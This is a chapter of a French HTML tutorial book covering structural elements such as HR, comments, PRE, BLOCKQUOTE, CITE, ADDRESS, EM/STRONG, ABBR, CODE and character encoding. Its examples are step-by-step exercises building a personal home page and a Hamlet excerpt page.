1 Ouvrez le Bloc-Notes, puis le fichier pageacc1_4_1.html.
2 Comme d’habitude, modifiez le numéro de version :
<META name="version" content="1.5.1">

3 Ajoutez un élément HR de barre horizontale entre les titres de

niveau 1 et de niveau 2 :
<H1 align="center">Ma page d’accueil</H1>
<HR>
<H2 align="center">Bienvenue sur mon site.</H2>

4 Ajoutez également un élément HR juste avant la balise de

fermeture de l’élément BODY.
<HR>
</BODY>

136 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

5 Enregistrez votre fichier sous le nom pageacc1_5_1.html, puis

examinez-le dans votre navigateur.

La page affiche désormais deux barres horizontales.

Figure 5.1 :
Barres horizontales dans la page
d’accueil

XHTML
En XHTML, comme pour tout élément vide, vous devez l’écrire
<hr />.

Commentaire HTML
Autre bloc particulier, le cas où vous souhaitez insérer un commentaire
non lu par le navigateur, et donc non affiché dans la fenêtre de celui-ci.
<!-- commentaire -->

où commentaire est le texte du commentaire. Ce texte peut occuper

plusieurs lignes. Les commentaires sont fréquemment saisis en
majuscules afin de faciliter leur identification dans le code.

Prenons un exemple concret : vous possédez un en-tête ou un pied de

page commun à toutes vos pages Web et savez que vous allez devoir
régulièrement le modifier. Vous pouvez en faciliter grandement la
recherche en insérant juste avant un commentaire comme :
<!-- DEBUT DU PIED DE PAGE -->

LE GUIDE COMPLET 137

 Chapitre 5 Mise en forme avancée

Les commentaires sont précieux lorsqu’un site Web est développé en

collaboration, pour expliquer certains ensembles de code ou simplement
pour servir d’aide-mémoire ou de lignes directrices en vue
d’améliorations ultérieures.
1 Revenez au fichier pageacc1_5_1.html actuellement ouvert dans le
Bloc-Notes.
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.2">

3 Ajoutez un élément de commentaire juste après le titre de niveau 2 :

<H2 align="center">Bienvenue sur mon site.</H2>
<!-- Contenu à étoffer, probablement à l’aide d’une
barre de navigation.
Remarque importante : ne pas oublier de modifier les
liens tant de la page d’accueil que des pages
secondaires en cas de modification des noms de
fichier ! -->

4 Ajoutez un autre commentaire juste avant la balise de fermeture

de l’élément BODY.
<HR>
<!-- Des remarques légales ne seraient pas
superflues -->
</BODY>

Remarquez que le premier commentaire s’étend sur plusieurs

lignes, contrairement au second.
5 Enregistrez votre fichier sous le nom pageacc1_5_2.html, puis
examinez-le dans votre navigateur : l’aspect est strictement
identique à la page précédente, puisque les commentaires sont
ignorés par l’agent utilisateur.

Figure 5.2 :
Les commentaires n’apparaissent
pas dans la fenêtre du navigateur

138 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

Couples de traits d’union

Les espaces vierges sont interdits entre le délimiteur d’ouverture de la
déclaration de balisage <! et le délimiteur d’ouverture de commentaire
−−, mais autorisés entre le délimiteur de fin de commentaire −− et le
délimiteur de fin de déclaration de balisage >. Une erreur classique
consiste à inclure une chaîne de traits d’union à l’intérieur d’un
commentaire. Prenez garde à ne pas insérer une suite de deux traits
d’unions adjacents ou plus à l’intérieur d’un commentaire : l’agent
utilisateur l’interpréterait comme la fin du commentaire !

Les commentaires se révèlent également précieux justement en raison de

leur capacité à ne pas être interprétés par l’agent utilisateur : lorsque
vous testez le code d’une nouvelle page et rencontrez une erreur, il est
parfois utile de mettre en commentaire une portion du code, qui sera ainsi
ignorée par le navigateur. Il peut s’agir d’une portion dont vous savez
qu’elle fonctionne correctement ou au contraire d’une partie de posant
problème. Prenons un exemple.
1 Revenez au fichier pageacc1_5_2.html actuellement ouvert dans le
Bloc-Notes.
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.3">

3 Déclarez comme commentaire le paragraphe d’envoi de courriel :

<!--
<P align="center">
<A href="[Link] !</A>
</P>
-->

4 Enregistrez votre fichier sous le nom pageacc1_5_3.html, puis

examinez-le dans votre navigateur : l’ancre permettant l’envoi
d’un courriel à votre adresse n’apparaît plus dans la fenêtre (voir
Figure 5.3).

Cette technique est extrêmement intéressante : pensez par exemple à un

tableau s’affichant d’une façon qui ne correspond pas à votre attente.
Placez en commentaire tous les éléments TR, puis sortez-les un à un du
commentaire en déplaçant la balise <!−− jusqu’à identifier celui qui pose
problème !

LE GUIDE COMPLET 139

 Chapitre 5 Mise en forme avancée

Figure 5.3 :
La ligne d’envoi de
courriel n’apparaît
plus sur la page : le
code placé en
commentaire est
ignoré.

Éléments DIV et SPAN

Les éléments DIV et SPAN, employés avec leurs attributs id et class,
offrent un mécanisme générique qui rajoute de la structure aux
documents. L’élément DIV est un élément bloc, tandis que SPAN est un
élément ligne. Impliqués uniquement dans un but structurel, ils
n’imposent en eux-mêmes aucune présentation particulière du contenu.
Ils sont essentiellement employés avec les feuilles de style et/ou
l’attribut lang pour mieux exploiter HTML.

Prenons un exemple concret. Souvenez-vous que, lors de l’étude des

en-têtes, corps et pieds de tableaux (THEAD, TBODY et TFOOT), nous
avions supposé que l’une de vos passions concernait la littérature de
science-fiction. Vous aviez (théoriquement) conçu un tableau présentant
différents ouvrages. HTML ne disposant pas d’élément identifiant des
objets comme « SF classique », « Heroic fantasy », etc., les éléments
DIV et SPAN permettent d’obtenir les effets de structure et de
présentation souhaités. Voici comment vous pourriez vous en servir :
<TBODY>
<DIV id="Classique" class="typeSF">
<TR>
<TH colspan="3">
<SPAN class="SFclassique">Auteurs "classiques" SF</SPAN>
</TH>
</TR>
...autre contenu...
</DIV>

140 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

</TBODY>
<TBODY>
<DIV id="Heroic" class="typeSF">
<TR>
<TH colspan="3">
<SPAN class="heroic">Auteurs "heroic-fantasy"</SPAN>
</TH>
</TR>
...autre contenu...
</DIV>
</TBODY>
...

Vous avez défini des blocs à présentation particulière, liés au style

attribué à la classe typeSF, et des éléments ligne également à
présentation particulière, liés aux classes Sfclassique et heroic.

Observée dans un navigateur, cette page ne présente aucune différence

avec la version précédente (reportez-vous à la figure de la page 134),
puisque vous n’avez pas encore défini ces classes de feuilles de style.
Vous verrez plus en détail dans le Chapitre 8, traitant des feuilles de
style, comment exploiter ces structures.

Élément PRE
L’élément PRE est très intéressant en ce qu’il définit un bloc de texte
comme préformaté. Les agents utilisateurs visuels (les navigateurs)
gèrent comme suit le contenu d’un élément PRE :
j Ils peuvent respecter les espaces vierges présents dans le texte.
j Ils peuvent afficher le texte à l’aide d’une police à espacement
non proportionnel.
j Ils peuvent désactiver le retour à la ligne automatique.
j Ils ne doivent pas désactiver le traitement bidirectionnel.

Remarquez bien que les navigateurs ne sont donc pas tenus de respecter
absolument les espaces vierges présents dans le contenu d’un élément
PRE.

Pour examiner un exemple, supposons que parmi vos passions figure

également Shakespeare et, plus particulièrement parmi les œuvres de cet
éminent auteur, Hamlet. Une de vos pages contient un extrait de cette
pièce : vous souhaitez respecter exactement la mise en forme de l’auteur.

LE GUIDE COMPLET 141

 Chapitre 5 Mise en forme avancée

1 Plutôt que de créer dans le Bloc-Notes un nouveau fichier,

repartez du fichier précédent (en principe pageacc1_5_2.html) en
supprimant tout le contenu de l’élément BODY. Cela évite d’avoir
à saisir de nouveau tous les éléments communs.
2 Dans l’élément HEAD, modifiez l’élément TITLE :
<TITLE>"Hamlet de Shakespeare"</TITLE>

3 Puis modifiez le numéro de version :

<META name="version" content="1.5.1">

4 Ajoutez un nouveau titre de niveau 1 dans l’élément BODY :

<H1 align="center">Extrait de Hamlet de Shakespeare</H1>

5 Ajouter ensuite une barre horizontale, puis un paragraphe :

<HR>
<P>Ceci est un de mes extraits favoris : un petit air un
peu coquin chanté par Ophélia à ses parents</P>.

6 Créez ensuite un élément PRE et placez-y son contenu, puis

faites-le suivre d’une autre barre horizontale :
<PRE>
Alors, il se leva et mit ses habits,
Et ouvrit la porte de sa chambre ;
Et vierge elle y entra, et puis oncques vierge
Elle n’en sortit.
</PRE>
<HR>

7 Enregistrez votre fichier sous le nom hamlet1_5_1.html, puis

examinez-le dans votre navigateur : l’aspect du texte est
strictement respecté par l’agent utilisateur.

Figure 5.4 :
Aspect d’un élément PRE

142 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

L’élément PRE possède un élément ligne analogue, TT.

Éléments BLOCKQUOTE et Q
Nous venons de placer sur une page Web un extrait de texte célèbre : il
est normalement légalement obligatoire de citer les sources de cette
œuvre. Il est fréquent de devoir placer sur une page Web des citations.
Une citation peut émaner d’un avis reconnu pour souligner l’intérêt d’un
produit, peut indiquer une source d’information ou représenter des notes
de lecture. Elle peut aussi simplement être une de vos citations favorites,
affichée quelque part sur votre page Web.

Quel que soit le motif de sa présence, une citation se doit de respecter un

style bien défini pour apparaître de façon satisfaisante sur tous les
navigateurs. Tel est le but de l’élément BLOCKQUOTE, un élément de
type bloc, dont l’équivalent en type ligne est l’élément Q. Les agents
utilisateurs visuels restituent en général l’élément BLOCKQUOTE sous la
forme d’un bloc de texte en retrait. Voici la syntaxe des éléments
BLOCKQUOTE et Q :
<BLOCKQUOTE [lang="code_langue"][cite="URI_source"]>
<Q [lang="code_langue"][cite="URI_source"]>
1 Revenez au fichier précédent, et modifiez le numéro de version :
<META name="version" content="1.5.2">

2 Encadrez l’élément PRE par un élément BLOCKQUOTE :

<BLOCKQUOTE>
<PRE>
... texte ...
</PRE>
</BLOCKQUOTE>

3 Enregistrez votre fichier sous le nom hamlet1_5_2.html, puis

examinez-le dans votre navigateur. La différence est faible par
rapport à la figure précédente, mais le léger retrait attendu est bien
présent (voir Figure 5.5).

L’attribut facultatif cite de l’élément BLOCKQUOTE permet de spécifier

l’URI du document source (si celui-ci est disponible sur le Web). Mieux
vaut toutefois employer l’élément CITE pour indiquer la source de la
citation. Cet élément apparaît sur une ligne individuelle, le plus souvent
en italique.
4 Revenez à votre fichier, puis ajoutez sous l’élément BLOCKQUOTE
l’élément suivant :

LE GUIDE COMPLET 143

 Chapitre 5 Mise en forme avancée

Figure 5.5 :
Aspect d’un élément
BLOCKQUOTE
combiné avec un
élément PRE

<CITE>Hamlet, Acte IV Scène [Link] Shakespeare,

"Richard III, Roméo et Juliette, Hamlet", Trad.
F-V Hugo.1979, Ed. Garnier-Flammarion,
ISBN 2-08-070006-5, page 339.</CITE>

5 Enregistrez votre fichier sans modifier son nom, puis examinez-le

dans votre navigateur. La source de la citation est bien indiquée
sous la forme attendue.

Figure 5.6 :
Aspect d’un élément
BLOCKQUOTE
combiné avec un
élément PRE

144 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

Remarquez que vous pourriez améliorer la mise en forme, par exemple

en plaçant des sauts de ligne dans la source et/ou en employant l’attribut
align. Comme vous savez désormais le faire, nous vous en laissons
l’initiative comme exercice complémentaire. Le code complet de cet
exemple est présenté dans le listing suivant.
Listing 5-1 : Code du fichier Hamlet 1.5.2
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Hamlet de Shakespeare"</TITLE>
<META name="author" content="Fabrice Lemainque">
<META name="version" content="1.5.2">
</HEAD>
<BODY>
<H1 align="center">Extrait de Hamlet de Shakespeare</H1>
<HR>
<P>Ceci est un de mes extraits favoris : un petit air un
peu coquin chanté par Ophélia à ses parents</P>.
<BLOCKQUOTE>
<PRE>
Alors, il se leva et mit ses habits,
Et ouvrit la porte de sa chambre ;
Et vierge elle y entra, et puis oncques vierge
Elle n’en sortit.
</PRE>
</BLOCKQUOTE>
<CITE>Hamlet, Acte IV Scène V. William Shakespeare,
"Richard III, Roméo et Juliette, Hamlet", Trad. F-V Hugo.
1979, Ed. Garnier-Flammarion, ISBN 2-08-070006-5, page
339.</CITE>
<HR>
</BODY>
</HTML>

Le rôle de l’attribut lang, également facultatif, est plus subtil. Des

citations peuvent être imbriquées, ce qui signifie que vous pouvez
utiliser l’élément Q à l’intérieur d’un élément BLOCKQUOTE. Un élément
Q peut d’ailleurs également être placé à l’intérieur d’un autre élément Q.

La spécification est toutefois un peu contradictoire en ce qui concerne le

comportement des navigateurs vis-à-vis du contenu d’un élément Q : en
principe, celui-ci devrait être restitué avec des marques de citation
englobantes, si bien que les auteurs ne devraient donc pas placer de
marque de citation au début ni à la fin du contenu d’un élément Q. Les
marques de citation employées doivent dépendre de la langue, telle que
spécifiée par l’attribut lang : en effet, le type de marque de citation,

LE GUIDE COMPLET 145

 Chapitre 5 Mise en forme avancée

extérieure ou intérieure (imbriquées), dépend de la langue. Ceci devrait

être respecté par les agents utilisateurs.

Il est recommandé que les mises en œuvre de feuilles de style

fournissent un moyen d’ajouter des marques de citation avant et après
une citation encadrée par l’élément BLOCKQUOTE, d’une manière
appropriée au contexte de langue courant et au degré d’imbrication des
citations. Mais certains auteurs employant à tort l’élément BLOCKQUOTE
pour obtenir un texte en retrait, les agents utilisateurs ne devraient
finalement pas ajouter de marques de citation en style par défaut, afin de
préserver les intentions de ces auteurs.

Tout ceci n’est pas très clair. Mieux vaut considérer un exemple. Les
Anglo-Saxons se servent de guillemets comme marques de citation
extérieures et d’apostrophes comme marques de citation intérieures,
tandis que les francophones privilégient des guillemets imbriqués. De ce
fait, le fragment de code suivant :
Listing 5-2 : Citations imbriquées
<Q lang="en-us">He shouted
<Q lang="en-us">What are you doing here?</Q></Q>
<Q lang="fr">Il s’écria
<Q lang="fr">Que faites-vous ici ?</Q></Q>

devrait être affiché comme ceci :

"He shouted ’What are you doing here?’’’
"Il s’écria "Que faites-vous ici ?""

Mais comme le montrent les trois copies d’écran des figures suivantes,
le rendu des navigateurs, même récents, manque pour le moins de
cohérence :

Figure 5.7 :
Rendu de citations imbriquées dans le
navigateur Firefox 2.0.

146 LE GUIDE COMPLET

 Principaux éléments structuraux Chapitre 5

Figure 5.8 :
Rendu de citations imbriquées dans le
navigateur Internet Explorer (6 et 7).

Figure 5.9 :
Rendu de citations imbriquées dans le
navigateur Amaya.

Mieux vaut donc observer la plus grande prudence en cas d’imbrication

de citations. La sagesse recommande d’employer de préférence les entités
caractères HTML étudiées dans la suite de ce chapitre pour afficher
guillemets ou apostrophes, plutôt que d’imbriquer des éléments Q.

Par ailleurs, l’emploi des éléments BLOCKQUOTE et Q uniquement pour

obtenir le retrait d’un texte est déconseillé : préférez le recours aux
feuilles de style.

Élément ADDRESS
L’élément ADDRESS, généralement placé au début ou à la fin d’un
document, sert à fournir des informations de contact applicables au
document ou à une partie essentielle de celui-ci. Ses balises d’ouverture
et de fermeture sont toutes deux obligatoires.

Un exemple concret semble préférable à une longue explication.

1 Ouvrez dans le Bloc-Notes le fichier pageacc1_5_2.html (c’est en
principe actuellement hamlet1_5_2.html qui est ouvert).
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.4">

3 Entrez le dernier élément HR et le dernier commentaire, et insérez

un élément ADDRESS comme suit :

LE GUIDE COMPLET 147

 Chapitre 5 Mise en forme avancée

<ADDRESS>
<A href="../ORignal/">Olivier Rignal</A> et
<A href="../JBogue/">Justin Bogue</A> sont les
personnes à contacter pour tout <A href="probleme">
problème</A> rencontré sur le site.
</ADDRESS>

4 Enregistrez votre fichier sous le nom pageacc1_5_4.html, puis

examinez-le dans votre navigateur : la page propose désormais
des informations de contact.

Figure 5.10 :
Élément ADDRESS

Remarquez que, dans cet exemple, les valeurs des attributs href sont
toutes inexistantes : il convient de créer les destinations de lien
adéquates.

Modification des marges d’un paragraphe

Il est parfois souhaitable ou nécessaire de modifier les marges d’un bloc
de texte (élément DIV, P ou PRE). Vous pouvez y parvenir à l’aide de
l’attribut style placé à l’intérieur de la balise d’ouverture de l’élément
concerné :
<P style="margin-left: 10pt">

Cela crée une marge supplémentaire gauche de 10 points. Remarquez

que la syntaxe de l’attribut style est la même que celle de n’importe
quel attribut HTML : attribut="valeur". Il est applicable à la

148 LE GUIDE COMPLET

 Éléments de structuration du texte Chapitre 5

plupart des éléments HTML (reportez-vous à l’Annexe A), mais est

désormais déconseillé au profit des feuilles de style.

Taille en pixels
Pour calculer avec plus de précision l’importance d’une taille
exprimée en pixels, utilisez la formule suivante :
Taille réelle = valeur × (largeur de l’écran)/(résolution horizontale de l’écran)
En supposant que vous possédiez un écran de 17’ mesurant (environ)
34 cm de large et employé avec une résolution de 1280 × 1024 (donc
1280 pixels de résolution horizontale), une valeur de 10 pixels correspond
à:
10 × 34/1280 = 0,266 centimètres soit 2,7 mm
La chose est plus délicate pour les mesures exprimées en points : si sur un
Mac, la règle est « un point = un pixel », sur un PC, le réglage par défaut
est « un point = 4/3 pixel ».
C’est la raison pour laquelle certains auteurs écrivent que le Mac a une
dpi de 72 et le PC une dpi de 96. Tout dépend de la définition du « dot »
de dpi (pixel ou point).
Puisque nous parlons essentiellement de PC, une valeur de 10 points
correspond à environ 3,5 mm.

5.2. Éléments de structuration du texte

HTML propose un certain nombre d’éléments de type ligne permettant
de caractériser précisément une partie de texte. Ces éléments sont
présentés dans le tableau de la page 155.

Gardez bien présent à l’esprit que le but de ces éléments est avant tout
de contribuer à la structure du texte, non d’obtenir une présentation
particulière.

Éléments EM et STRONG
Les éléments EM (EMphasis, emphase) et STRONG (fort) s’utilisent pour
mettre en exergue une portion du texte qui possède, par exemple, une
signification particulière dans un contexte donné.

La présentation des éléments de phrase dépend de l’agent utilisateur. En

général, les agents utilisateurs visuels présentent le texte de l’élément EM

LE GUIDE COMPLET 149

 Chapitre 5 Mise en forme avancée

en italique et celui de l’élément STRONG en gras. Les agents utilisateurs

vocaux, eux, devraient changer les paramètres de la synthèse vocale tels
que le volume, la hauteur ou le timbre.
1 Revenez au le fichier pageacc1_5_4.html, en principe celui
actuellement ouvert dans le Bloc-Notes.
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.5">

3 Modifiez comme suit le titre de niveau 2 :

<H2 align="center">Bienvenue sur <EM>mon</EM> site.</H2>

4 Modifiez comme suit le contenu du premier élément P :

<P>Vous trouverez sur ce site des <STRONG>informations
</STRONG> :</P>

5 Enregistrez votre fichier sous le nom pageacc1_5_5.html, puis

examinez-le dans votre navigateur : le mot « mon » apparaît en
italique, le mot « informations » en gras.

Figure 5.11 :
Éléments EM et STRONG

Vous avez pu rencontrer d’autres éléments qui permettent de placer une

partie de texte en italique (élément I) ou en gras (élément B). Ces
éléments, sur lesquels nous reviendrons, modifient l’aspect de la police,
mais ne possèdent aucun rôle structurel. Autrement dit, un mot placé en
gras ou en italique par G ou I attire visuellement l’attention, ce qui lui
confère une importance particulière, alors qu’inversement EM et STRONG

150 LE GUIDE COMPLET

 Éléments de structuration du texte Chapitre 5

attribuent structurellement une importance particulière à ce mot, qui se

trouve de ce fait affiché visuellement en italique ou en gras.

Comme cela a déjà été largement souligné, tous les effets

« cosmétiques » appliqués à la présentation gagnent largement à être du
ressort exclusif des feuilles de style.

Éléments ABBR et ACRONYM

Les éléments ABBR et ACRONYM permettent aux auteurs d’indiquer
clairement les occurrences des abréviations et des acronymes. Les
langues occidentales raffolent en effet des sigles comme RATP, ONU ou
bit, ainsi que des abréviations comme Mme, SA ou etc. Le chinois et le
japonais emploient tous deux des mécanismes d’abréviation analogues,
selon lesquels un nom long est désigné par la suite par un sous-ensemble
des caractères Han qui le constituent. Le balisage de ces structures
fournit une aide précieuse aux agents utilisateurs et aux outils tels que
les vérificateurs d’orthographe, les synthétiseurs de parole, les systèmes
de traduction automatique et les moteurs de recherche.

Le contenu des éléments ABBR et ACRONYM spécifie l’expression abrégée

telle qu’elle apparaîtrait normalement dans le cours du texte. L’attribut
title de ces éléments peut servir à procurer la forme complète ou
développée de l’expression.

Voici quelques exemples d’utilisation des éléments ACRONYM et ABBR :

Listing 5-3 : Éléments ABBR et ACRONYM
<P>
<ABBR title="World Wide Web">WWW</ABBR>
<ACRONYM lang="fr"
title="Régie Autonome des Transports Parisiens">
RATP
</ACRONYM>
<ABBR lang="es" title="Doña">Doña</ABBR>
<ABBR lang="en" title="Abbreviation">abbr.</ABBR>
</P>

Voici l’aspect de ce fragment de code dans un navigateur. Remarquez ce

qui se passe lorsque le pointeur est placé sur un élément (voir
Figure 5.12).

Abréviations et acronymes possèdent souvent une prononciation

idiosyncrasique. Par exemple, si CEE et FAI se prononcent typiquement

LE GUIDE COMPLET 151

 Chapitre 5 Mise en forme avancée

lettre à lettre, Ram et Medef se prononcent phonétiquement. En outre,

certains termes (comme URI) sont épelés par les uns et prononcés
comme des mots par les autres. En cas de nécessité, les auteurs devront
utiliser les feuilles de style pour spécifier la prononciation d’une forme
abrégée.

Figure 5.12 :
Éléments ABBR et ACRONYM

Éléments CODE, SMP et KBD

Internet possède, de par ses origines militaires et universitaires, une
lourde orientation scientifique et technologique. Il était donc logique que
HTML propose un élément structurel spécifique à l’affichage de code,
l’élément CODE.

Au sens le plus large, le terme « code » décrit les éléments et la syntaxe

permettant à une machine de lire un programme ou un fichier. En
rédigeant de l’HTML, vous écrivez du code, même si celui-ci diffère
largement de celui d’un programme écrit dans un autre langage, comme
C ou PHP. Tout code doit respecter scrupuleusement une syntaxe
spécifique au langage concerné. Traditionnellement (et comme c’est le
cas dans cet ouvrage) du code est le plus souvent affiché sous forme de
texte avec une police non proportionnelle. C’est une méthode
universelle qui signale qu’il s’agit de quelque chose destinée à la
machine. Lorsqu’il est lu par un agent utilisateur visuel, comme un
navigateur, le texte figurant dans l’élément CODE devrait également être
affiché à l’aide d’une police non proportionnelle. Certains navigateurs
étant réglés afin d’afficher le contenu de l’élément CODE d’une façon
particulière, mieux vaut le réserver aux exemples de code que vous
souhaitez présenter sur le Web.

152 LE GUIDE COMPLET

 Éléments de structuration du texte Chapitre 5

Voici un exemple de code, tiré de l’excellent ouvrage La Bible C++ de C.

Horstmann et T. Budd (Ed. Micro Application, 2004, ISBN 2-7429-
3717-x).
Listing 5-4 : Exemple de l’élément CODE
<P>Fichier [Link]</P>
<HR>
<P><CODE>
1 #include &lt;iostream&gt;<BR>
2 <BR>
3 using namespace std; <BR>
4 <BR>
5 #include "ccc_time.h"<BR>
6 <BR>
7 int main()<BR>
8 {<BR>
9 Time reveil(7, 0, 0, 0); <BR>
10 reveil.add_seconds(1000); /* mille secondes plus tard */<BR>
11 cout &lt;&lt; reveil.get_hours()<BR>
12 &lt;&lt; ":" &lt;< reveil.get_minutes()<BR>
13 &lt;&lt; ":" &lt;&lt; reveil.get_seconds() &lt;&lt; "\n";<BR>
14 <BR>
15 return 0; <BR>
16 }
</CODE></P>

Voici l’aspect de ce code dans un navigateur.

Figure 5.13 :
Mise en œuvre de
l’élément CODE

LE GUIDE COMPLET 153

 Chapitre 5 Mise en forme avancée

Caractères spéciaux
En examinant le code ci-dessus, vous devriez être intrigué par les
mystérieux &lt;. Plusieurs caractères sont des composants
fondamentaux de la syntaxe HTML : en particulier les symboles <> qui
constituent une balise. Il est donc impossible d’employer ces symboles
en HTML sans que l’agent utilisateur ne tente de lire la balise placée à
l’intérieur. Pour pallier cela, une notation particulière existe, nommée
référence de caractère. Ce sujet sera abordé un peu plus loin dans ce
chapitre.

L’élément CODE est de type ligne. Employez-le avec un élément de

paragraphe, comme P ou PRE, pour afficher un bloc de code. Comme il
s’agit d’un élément de structure significatif, ne placez que du code dans
un élément CODE. Si vous souhaitez afficher du texte avec le même
aspect, préférez l’élément bloc PRE ou l’élément ligne TT : tous deux
affichent en principe un texte dans une police non proportionnelle.

L’élément SMP, très proche de l’élément CODE, sert à signaler une sortie
de programme. En reprenant l’exemple précédant et en ajoutant à la fin,
après la balise de fermeture de l’élément P :
<P>Ce programme affiche :</P>
<P><SMP>7:16:40</SMP></P>

le navigateur affiche :

Figure 5.14 :
Mise en œuvre des
éléments CODE et
SMP

154 LE GUIDE COMPLET

 Éléments de structuration du texte Chapitre 5

L’élément KBD est très similaire : il sert à signaler un texte, ou une

expression, devant être saisi par l’utilisateur au clavier.

Autres éléments structuraux

L’élément CITE a déjà été abordé lors de l’étude des éléments
BLOCKQUOTE et Q. Il permet de fournir la source d’une citation et est
généralement à préférer à l’attribut cite des éléments BLOCKQUOTE et Q.

Les autres éléments, DFN et VAR, sont plus rarement mis en œuvre.

Le tableau suivant présente tous ces éléments structuraux ainsi que leur
signification.

Tableau 5.1 : Éléments de structuration du texte

Élément Description

EM Indique une mise en emphase.

STRONG Indique une emphase plus forte.

CITE Contient un extrait ou une référence vers une autre source.

DFN Indique qu’il s’agit de l’instance définissante du terme englobé.

CODE Désigne un fragment de code informatique.

SAMP Désigne un exemple des sorties d’un programme, d’un script,

etc.

KBD Indique un texte que doit saisir l’utilisateur.

VAR Indique l’instance d’une variable ou le paramètre d’un

programme.

ABBR Indique une forme abrégée (par exemple WWW, HTTP, i.e.,
etc.).

ACRONYM Indique un acronyme (par exemple, radar, Lan, etc.).

Élément OBJECT
Les versions antérieures de HTML permettaient aux auteurs d’inclure
des images (grâce à l’élément IMG) et des applets (grâce à l’élément
APPLET). Ces éléments souffraient de plusieurs contraintes, dont la

LE GUIDE COMPLET 155

 Chapitre 5 Mise en forme avancée

principale était probablement l’incapacité à inclure les types de médias

nouveaux et à venir.

HTML 4 a donc introduit l’élément OBJECT, qui offre une solution

générale aux inclusions d’objets génériques. Cet élément permet la
spécification de tout ce dont a besoin l’objet pour sa présentation par un
agent utilisateur : le code source, les valeurs initiales et les données
d’exécution. Dans cette spécification, le terme « objet » désigne les
contenus placés dans des documents HTML (applets, modules
complémentaires ou plug-ins, gestionnaires de médias, etc.).

Ce nouvel élément OBJECT prend ainsi en charge quelques-unes des

tâches effectuées par les éléments existants. Il remplace notamment les
éléments spécifiques IMG (image), APPLET (applet) et IFRAME (autre
document HTML).

Chacun de ces trois types d’inclusion possède ainsi une solution

spécifique et une solution générique. L’élément générique OBJECT
servira de solution pour l’implémentation des types de médias futurs.

Nous examinerons plus en détail cet élément lors de l’examen des

solutions spécifiques d’inclusion, mais il méritait d’être cité dès à
présent.

5.3. Caractères spéciaux et encodage

de caractères
Si vos pages Web sont exclusivement destinées à un public occidental et
sont rédigées uniquement en anglais, vous ne devriez guère rencontrer
de problèmes de caractères, sauf pour l’affichage des caractères HTML
réservés, qui pourraient être présents dans du texte : les réglages par
défaut sont parfaits.

En revanche, si vous devez placer sur tout ou partie d’une page du texte
en russe, hébreu ou chinois, ou même simplement en français, vous
devez savoir comment employer les caractères spéciaux et les jeux de
caractères.

156 LE GUIDE COMPLET

 Caractères spéciaux et encodage de caractères Chapitre 5

Encodages de caractères
Les jeux de caractères, également nommés encodages de caractères
couramment utilisés sur le Web comprennent ISO-8859-1 (appelé aussi
Latin-1, utilisable pour la plupart des langues d’Europe de l’Ouest),
ISO-8859-5 (qui gère le cyrillique), SHIFT_JIS (un encodage du
japonais), EUC-JP (un autre encodage du japonais) et UTF-8 (un
encodage ISO 10646 qui a recours à un nombre différent d’octets pour
différents caractères). Les noms des jeux de caractères sont insensibles à
la casse : SHIFT_JIS, Shift_JIS, et shift_jis sont équivalents.

La spécification HTML 4.0.1 n’indique pas quels encodages de

caractères doit reconnaître l’agent utilisateur.

Pour reconnaître l’encodage de caractères employé, le moyen le plus

simple consiste à employer le paramètre charset dans le champ
Content−Type de l’en-tête du protocole HTTP. Ce protocole
mentionne ISO-8859-1 comme encodage par défaut lorsque le paramètre
charset est absent du champ Content−Type de l’en-tête. Cette
recommandation s’est toutefois révélée inutile : certains serveurs ne
permettent pas d’envoyer un paramètre charset et d’autres peuvent ne
pas être configurés pour l’envoyer. Les agents utilisateurs ne doivent
donc pas supposer une valeur par défaut pour le paramètre charset.

Pour éviter tout problème, les documents HTML peuvent (et devraient)
comporter des informations explicites sur l’encodage de caractères du
document, fournies à l’agent utilisateur à l’aide d’un élément META.

Ainsi, pour spécifier comme encodage de caractères du document

EUC-JP, le document devrait inclure la déclaration META suivante :
<META http-equiv="Content-Type" content="text/html;
charset=EUC-JP">

La déclaration META doit seulement être utilisée lorsque l’encodage est

organisé de telle sorte que les octets en valeurs ASCII représentent des
caractères ASCII (au moins jusqu’à l’analyse de l’élément META). Les
déclarations META devraient donc apparaître le plus tôt possible dans
l’élément HEAD.

C’est ce que respecte par exemple Microsoft (ainsi que de nombreux

autres sites) en l’indiquant explicitement à l’aide d’un élément META
placé au début du code source.

LE GUIDE COMPLET 157

 Chapitre 5 Mise en forme avancée

Figure 5.15 : Page d’accueil du site Microsoft France

([Link]/france/)

Figure 5.16 : Début du code source de la page d’accueil du site Microsoft

France

L’élément META employé par Microsoft est le suivant :

<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1" />

Remarquez tout d’abord qu’il est au format XHTML, comme l’indique

sa fermeture />. Cet élément indique que le contenu est de type HTML
et que le jeu de caractères employé est ISO-8859-1, le jeu de caractères
du monde occidental. Employer cet élément étant une bonne habitude à
prendre, faites-le immédiatement pour la page d’accueil de votre site.
1 Ouvrez dans le Bloc-Notes le fichier pageacc1_5_5.html, en
principe celui actuellement ouvert dans le Bloc-Notes.
2 Modifiez à nouveau le numéro de version :
<META name="version" content="1.5.6">

158 LE GUIDE COMPLET

 Caractères spéciaux et encodage de caractères Chapitre 5

3 Ajoutez, juste après l’élément TITLE, un nouvel élément META :

<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">

4 Enregistrez votre fichier sous le nom pageacc1_5_6.html.

Si votre page emploie un jeu de caractères différent, vous pouvez
spécifier une autre valeur pour l’attribut charset. Cet attribut peut
concerner toute la page ou s’appliquer uniquement à un élément (par
exemple, pour une citation).

Caractères spéciaux
Un encodage de caractères donné peut ne pas pouvoir exprimer tous les
caractères du jeu de caractères du document. Avec de tels encodages, ou
lorsque les configurations matérielles ou logicielles ne permettent pas
aux utilisateurs d’entrer directement certains caractères spéciaux, les
auteurs peuvent avoir recours aux références de caractères SGML. Il
s’agit d’un mécanisme indépendant de l’encodage, utilisé pour ajouter
n’importe quel caractère issu du jeu de caractères du document.

Les références de caractères en HTML peuvent se présenter sous deux

formes :
